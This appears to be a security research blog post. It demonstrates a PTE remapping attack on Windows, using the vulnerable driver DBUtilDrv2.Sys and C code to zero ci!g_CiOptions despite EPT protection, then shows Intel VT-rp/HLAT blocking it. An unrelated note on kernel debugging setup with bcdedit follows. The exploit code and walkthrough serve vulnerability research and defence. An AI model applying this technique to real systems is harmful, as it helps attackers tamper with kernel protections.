Let us carry out the remapping attack and make ci!g_CiOptions zero. Here is the outline of the demo:

1. Locate a linear address, guest physical address, and a PTE for ci!g_CiOptions
2. Confirm that ci!g_CiOptions is non-zero
3. Confirm that ci!g_CiOptions is read-only in EPT
4. Find a page filled with zero
5. Modify the PTE to translate the page into the zero-filled page
6. Confirm that ci!g_CiOptions is zero

We use livekd and DBUtilDrv2.Sys, one of the vulnerable drivers that are not yet block-listed, on Windows build 10.0.22621.1848 on a 12th gen processor. Secure boot is disabled. HVCI and hypervisor-debugging are enabled.

1. Locate a linear address, guest physical address of, and a PTE for ci!g_CiOptions

    > livekd
    kd> !pte ci!g_cioptions
                                            VA fffff8024b082004
        (...)    PTE at FFFFEE7C01258410
        (...)    contains 890000011CEAA121
        (...)    pfn 11ceaa    -G--A--KR-V
   

   • LA = fffff8024b082004
   • GPA = 11ceaa004
   • PTE at ffffee7c01258410

2. Confirm that ci!g_CiOptions is non-zero

    kd> dd ci!g_cioptions l1
    fffff802`4b082004  0001c006
   
    kd> !dd 11ceaa004 l1
    #11ceaa004 0001c006
   

3. Confirm that ci!g_CiOptions is read-only in EPT

   We break into the target’s Hyper-V from another machine and dump EPT entries for the GPA using the hvexts extension.

    hv+0x239e70:
    fffff844`49cd9e70 cc              int     3
    hvext loaded. Execute !hvext_help [command] for help.
   
    kd> !ept_pte 0x11ceaa000
        (...)    PTe at 0x11b49a550
        (...)    contains 0x1000011ceaa531
        (...)    pfn 0x11ceaa U---R
   

   Notice U---R, which indicates that the page is not writable at the EPT level.

4. Find a page filled with zero

   In this demo, we use an existing zero-filled page as a new GPA of ci!g_CiOptions, instead of creating a copy as explained above. This is possible because our goal is simply to make the variable zero, and the page containing the variable has only a few other variables that are ok to become zero as well.

   We found 0x200000 was one of such zero-filled pages.

    kd> !dd 200000
    #  200000 00000000 00000000 00000000 00000000
    #  200010 00000000 00000000 00000000 00000000
    ...
   

5. Modify the PTE to translate the page into the zero-filled page

   We install DBUtilDrv2.Sys on the target and use its arbitrary kernel-mode write primitive to update the PTE to point to 0x200000. I added the below code to malk for this.

    {
        // Hard-coded value taken from the previous step
        ULONG64 cioptions_addr = 0xfffff8024b082004;
        ULONG64 pte_addr = 0xffffee7c01258410;
        ULONG64 new_pte_value = 0x8900000000200121; // pfn == 200000
   
        // Show the current ci!g_CiOptions value
        UINT32 cioptions_value = -1;
        dbutil_read(hDevice, cioptions_addr, &cioptions_value, sizeof(cioptions_value));
        printf("ci!g_CiOptions:\n");
        printf("0x%llx  %08x\n", cioptions_addr, cioptions_value);
   
        // Change the value of PTE to point to the new GPA
        printf("\nRemapping LA of ci!g_CiOptions\n\n");
        dbutil_write(hDevice, pte_addr, &new_pte_value, sizeof(new_pte_value));
   
        // Show the current ci!g_CiOptions value
        cioptions_value = -1;
        dbutil_read(hDevice, cioptions_addr, &cioptions_value, sizeof(cioptions_value));
        printf("ci!g_CiOptions:\n");
        printf("0x%llx  %08x\n", cioptions_addr, cioptions_value);
    }
   

   Executing the above code shows ci!g_CiOptions became zero after remapping.

    ...
    ci!g_CiOptions:
    0xfffff8024b082004  0001c006
   
    Remapping LA of ci!g_CiOptions
   
    ci!g_CiOptions:
    0xfffff8024b082004  00000000
   

At this point, we effectively modified the contents of the variable that is supposed to be read-only with KDP.

Important to note that making ci!g_CiOptions zero under this setup (ie, HVCI enabled) does not let you load an unsigned driver. The secure kernel still performs its own certificate check, detects the issue, and bug checks the system (*1).

Instead, it is more interesting to think about new targets of this attack. For example, Windows maintains the bitmap that indicates valid destinations of indirect calls for kernel-mode Code Flow Guard (kCFG). For kCFG to be effective against kernel-mode exploits, this bitmap is write-protected through EPT. An attacker, however, might be able to remap the LA of the bitmap to a new GPA to make her shell-code valid destination. Another approach is replacing a sensitive function pointers as demonstrated in Code Execution against Windows HVCI by Worawit.

Really, anything marked as read-only in EPT could be an interesting target of the remapping attack. On the above-mentioned Windows setup, there are several such regions.

Intel VT Redirect Protection (VT-rp)

Preventing the remapping attack without substantial performance impact is deemed unachievable. A hypervisor could make the guest paging structures read-only and inspect each write operation, but that incurs a non-negligible performance impact due to frequent VM-exit. Hence, Intel came up with a processor extension branded as Intel VP Redirect Protection (VT-rp).

Intel VT-rp was introduced with the 12th generation and consists of three features:

• HLAT: Hypervisor-managed linear address translation
• PW: Paging-write
• GPV: Guest-paging verification

Although all of the three work together, we will focus on HLAT in this post since it is the primary component to prevent the remapping attack. For the PW and GPV, read part 2.

HLAT and the remapping attack

In short, when HLAT is enabled, LA -> GPA translation may be done based on the hypervisor-managed paging structures as depicted below.

Normally, when LA -> GPA translation is needed, the processor reads CR3 and walks through the paging structures managed by the guest OS. On the other hand, when HLAT is enabled, the processor reads the HLATP (HLAT pointer) VMCS field and walks through another set of the paging structures managed by the hypervisor.

The below is a pseudo-code of how a processor translates LA -> GPA -> PA with and without HLAT.

# Translate LA to PA with EPT
def translate_la_during_vmx_non_root(la):
    gpa = translate_la(la)
    return translate_gpa(gpa)

# Translate LA to GPA
def translate_la(la):
    # (1) Determine if HLAT paging should occur
    if should_do_hlat_paging(la):
        # (2) If so, use paging structures through HLATP VMCS
        pml4 = hlatp_vmcs()
    else:
        pml4 = guest_cr3_vmcs()
    # (3) Walk paging structures as usual
    # ...

# Determine if HLAT paging should occur
def should_do_hlat_paging(la):
    return (
        hlat_enabled and
        is_in_range(la, hlat_prefix_size_vmcs())
    )

Notice that (1) when HLAT is enabled and the given LA is within a range specified by the HLAT prefix size VMCS, (2) the processor locates PML4 through HLATP, instead of the guest CR3. (3) The layout of the hypervisor-managed paging structures and the process of HLAT paging is almost identical to the traditional paging structure and paging (*2).

This makes the remapping attack no-op, because even if the guest-managed paging structures (or the guest CR3) is modified, those will not be used. LA -> GPA translation is done through the hypervisor-managed paging structures which remain to translate the LA to the intended GPA.

Demo - protecting ci!g_CiOptions with HLAT

Let us test this with a custom hypervisor that enables HLAT. The steps of the demo are as follows:

1. Load the custom hypervisor and boot Windows on top of it
2. Locate a linear address and a PTE for ci!g_CiOptions
3. Activate HLAT and protect translation for ci!g_CiOptions
4. Carry out the remapping attack and confirm ci!g_CiOptions remains to be unchanged

We use the same setup except:

• Hyper-V is not activated. Our custom hypervisor puts Windows into the guest mode.
• Only one logical processor is activated. This is only to simplify the implementation of the custom hypervisor.

1. Load the custom hypervisor and boot Windows on top of it

   We boot into a UEFI shell, load the custom hypervisor and continue booting Windows. Windows will boot as a guest of our hypervisor.

2. Locate a linear address and a PTE for ci!g_CiOptions

    > livekd
    kd> !pte ci!g_cioptions
                                            VA fffff80227dd2004
        (...)    PTE at FFFFF9FC0113EE90
        (...)    contains 89000004879D5963
        (...)    pfn 4879d5    -G-DA--KW-V
   

   • LA = fffff80227dd2004
   • PTE at fffff9fc0113ee90

3. Activate HLAT and protect translation for ci!g_CiOptions

   We use the client executable in the same repository to protect a linear address with HLAT via hypercall 0.

    > D:\client.exe 0 0xfffff80227dd2004
   

   In our implementation, the hypervisor builds hypervisor-managed paging structures by copying the current guest-managed paging structures (which are not yet tampered with).

4. Carry out the remapping attack and confirm ci!g_CiOptions remains to be unchanged

   We perform the same operation as the previous demo.

    ...
    ci!g_CiOptions:
    0xfffff80227dd2004  00000006
   
    Remapping LA of ci!g_CiOptions
   
    ci!g_CiOptions:
    0xfffff80227dd2004  00000006
   

   Notice that the write operation was successful, but the value of ci!g_CiOptions was unchanged. This is because HLAT paging is active for this LA, and the hypervisor-managed paging structure was used instead of the tampered guest-managed paging structure. This way, the hypervisor can enforce LA -> GPA translation without having to intercept write operations against the guest paging structures.

(Protection in place)

Availability

Intel VT-rp is available in a subset of 12th+ generation Intel processors. You can check the availability of the feature on the Intel spec pages. For example with Core i7-1265U, the specification page shows VT-rp is available.

As to the software-side, as far as I am know, none of major hypervisors including Microsoft Hyper-V makes use of VT-rp yet (*3).

No equivalent feature is available on AMD processors.

Conclusion

In this post, we looked into how EPT can be used to harden the OS kernel against attackers with arbitrary kernel-mode read write primitives, how the remapping attack bypasses one of such hardening mechanisms (eg, KDP), and how HLAT, one of the features Intel VT-rp offers, prevents the attack.

Intel VT-rp is available on a subset of 12th+ gen Intel processors and is still not used by any major hypervisors.

Until HLAT is used and hardware supporting the feature becomes prevalent, the remapping attack will remain to be a relevant exploitation technique. Security software designers and attackers should keep it in mind when considering the use of EPT-based data protection.

Acknowledgement

• Andrea Allievi for Alder Lake and the new Intel Features, as well as answering a few questions.
• Kunal Mehta for providing feedback on the draft and correcting my misunderstanding.
• Connor McGarr for Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG. This helped me catch up recent kernel-exploitation techniques.

Notes

*1 (🔙): If you tamper with ci.dll in the VTL0 and force it to load an unsigned driver, the secure kernel injects NMI and crashes the system. This is the call stack of that situation.

0: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff802`3ab24ca8 fffff802`36d63461     nt!KeBugCheckEx
01 fffff802`3ab24cb0 fffff802`36cba5b4     nt!HvlSkCrashdumpCallbackRoutine+0x81
02 fffff802`3ab24cf0 fffff802`36c39d42     nt!KiProcessNMI+0x1ea2f4
03 fffff802`3ab24d30 fffff802`36c39aae     nt!KxNmiInterrupt+0x82
04 fffff802`3ab24e70 fffff802`352b001c     nt!KiNmiInterrupt+0x26e
05 fffff989`6f8af108 fffff802`36c282eb     0xfffff802`352b001c
06 fffff989`6f8af110 fffff802`36b3854d     nt!HvlSwitchToVsmVtl1+0xab
07 fffff989`6f8af250 fffff802`37038fd9     nt!VslpEnterIumSecureMode+0x161
08 fffff989`6f8af320 fffff802`37038f38     nt!VslCompleteSecureDriverLoad+0x6d
09 fffff989`6f8af3d0 fffff802`3711e16e     nt!MiCompleteSecureDriverLoad+0x78
0a fffff989`6f8af480 fffff802`36cce045     nt!MiMarkKernelImageCfgBits+0x13e07e
0b fffff989`6f8af560 fffff802`36f7f026     nt!MiProcessKernelCfgImage+0x1ba3e5
0c fffff989`6f8af590 fffff802`36f7e5b9     nt!MiFinalizeDriverCfgState+0xe
0d fffff989`6f8af5c0 fffff802`36f7e0be     nt!MmLoadSystemImageEx+0x4e5
0e fffff989`6f8af770 fffff802`36f82547     nt!MmLoadSystemImage+0x2e
0f fffff989`6f8af7c0 fffff802`36fc44b7     nt!IopLoadDriver+0x24b

*2 (🔙): The only difference between traditional paging and HLAT paging is the treatment of bit[11] in the paging structures called “Restart” bit. During HLAT paging, when this bit is encountered, HLAT paging is aborted and the traditional paging takes place as if HLAT was disabled. This allows enabling HLAT paging only for select pages as shown below.

*3 (🔙): Code to set the HALTP VMCS exists in Microsoft Hyper-V but is not exercised. Andrea Allievi noted in his blog and told me that Microsoft has been actively working on integrating VT-rp.

Found this post interesting? We offer a training course about the Intel virtualization technology. Check out the course syllabus.

No USB3 or KDNET working

I bought a Dell Latitude 7330 2-in-1 which supported various security features like PPAM and DRTM and wanted to debug interaction between Windows and relevant components.

As I used to for physical device debugging, I attempted to set up kernel debugging over USB3. Despite the USB ports being debug-capable according to USBView, it was not successful.

I tried various combinations of USB C->C, C->A, A->C, A->A, using different hosts and different cables (including USB 2.0), and none worked. I was unable to see USB Debug Connection Device showing up even once. KDNET was unsupported based on KDNET.exe

>kdnet.exe

Network debugging is not supported on any of the NICs in this machine.
KDNET supports NICs from Intel, Broadcom, Realtek, Atheros, Emulex, Mellanox
and Cisco.
...

USB EEM debugging

I moved onto USB EEM (Ethernet Emulation Model) debugging without much hope. While I had some success with it for Windows on ARM devices in the past, the MSDN document was specifically for an ARM device and my target was an Intel device. As expected, I could not make it work.

After asking several people, @KelvinMsft told me that USB EEM was what he used for x64 debugging as well. He was kind enough to walk though with me, and after some try and errors, boom💥, I was able to break-in to the target.

This is roughly our decision-making tree:

• Is there a debug-capable USB port exposed?
  • Y: Run KDNET.exe. Is KDNET supported on any of NICs?
    • Y: Try KDNET.
    • N: Is Windows 10 or earlier?
      • Y: Try upgrading it to Windows 11. Windows 11 supports more NICs.
      • N: Run KDNET.exe. Is KDNET supported on any of USB controllers?
        • Y: Try KD over USB EEM
        • N: Look into other unorthodox debugging.
  • N: Look into other unorthodox debugging.

Dell Latitude 7330 2-in-1’s USB controllers did support KDNET:

>kdnet.exe
...
Network debugging is supported on the following USB controllers:
busparams=0.13.0, Intel(R) USB 3.20 eXtensible Host Controller - 1.20 (Microsoft)
busparams=0.20.0, Intel(R) USB 3.10 eXtensible Host Controller - 1.20 (Microsoft)
...

After double checking which USB controller corresponded to exposed USB ports, those were the bcdedit commands I ran for KDNET over USB EEM:

>bcdedit /dbgsettings net key:1.1.1.1 hostip:169.254.255.255 port:52000 busparams:0.20.0
>bcdedit /set {dbgsettings} dhcp no
>bcdedit /set loadoptions EEM
>bcdedit /set debug on

>bcdedit /dbgsettings
busparams               0.20.0
key                     1.1.1.1
debugtype               NET
hostip                  169.254.255.255
port                    52000
dhcp                    No
isolatedcontext         Yes

Then, made sure:

• Firewall on the host was completely disabled (it can be re-enabled later with exception rules once setup is confirmed).
• Both the host and target were connected through USB-A ports.
  • On the host, it was fine to use a C-to-A multi-function adapter.
• BitLocker was disabled. Not sure if this was required, but probably wise to do so anyway.

As far as I tested, it does not need a special USB cable. I was able to establish connection with both a Datapro debugging cable and a regular cable.

Winload and tcblaunch debugging

Once kernel debugging is configured, simply enabling bootdebug lets the debugger break-in to Winload.exe and tcblaunch.exe at their startup.

>bcdedit /set debug off
>bcdedit /set hypervisordebug off

>bcdedit /set bootdebug on

Hyper-V debugging

Again, once kernel-debugging is configured, simply enabling hypervisordebug with equivalent KDNET settings lets the debugger break-in to the Hyper-V.

>bcdedit /set debug off
>bcdedit /set bootdebug off

>bcdedit /hypervisorsettings net key:1.1.1.1 hostip:169.254.255.255 port:52000 busparams:0.20.0
>bcdedit /set {hypervisorsettings} hypervisordhcp no
>bcdedit /set hypervisordebug on

>bcdedit /hypervisorsettings
isolatedcontext         Yes
hypervisorbusparams     0.20.0
hypervisorusekey        1.1.1.1
hypervisordebugtype     NET
hypervisorhostip        169.254.255.255
hypervisorhostport      52000
hypervisordhcp          No

That’s it! I hope this note will help myself in the future and some others.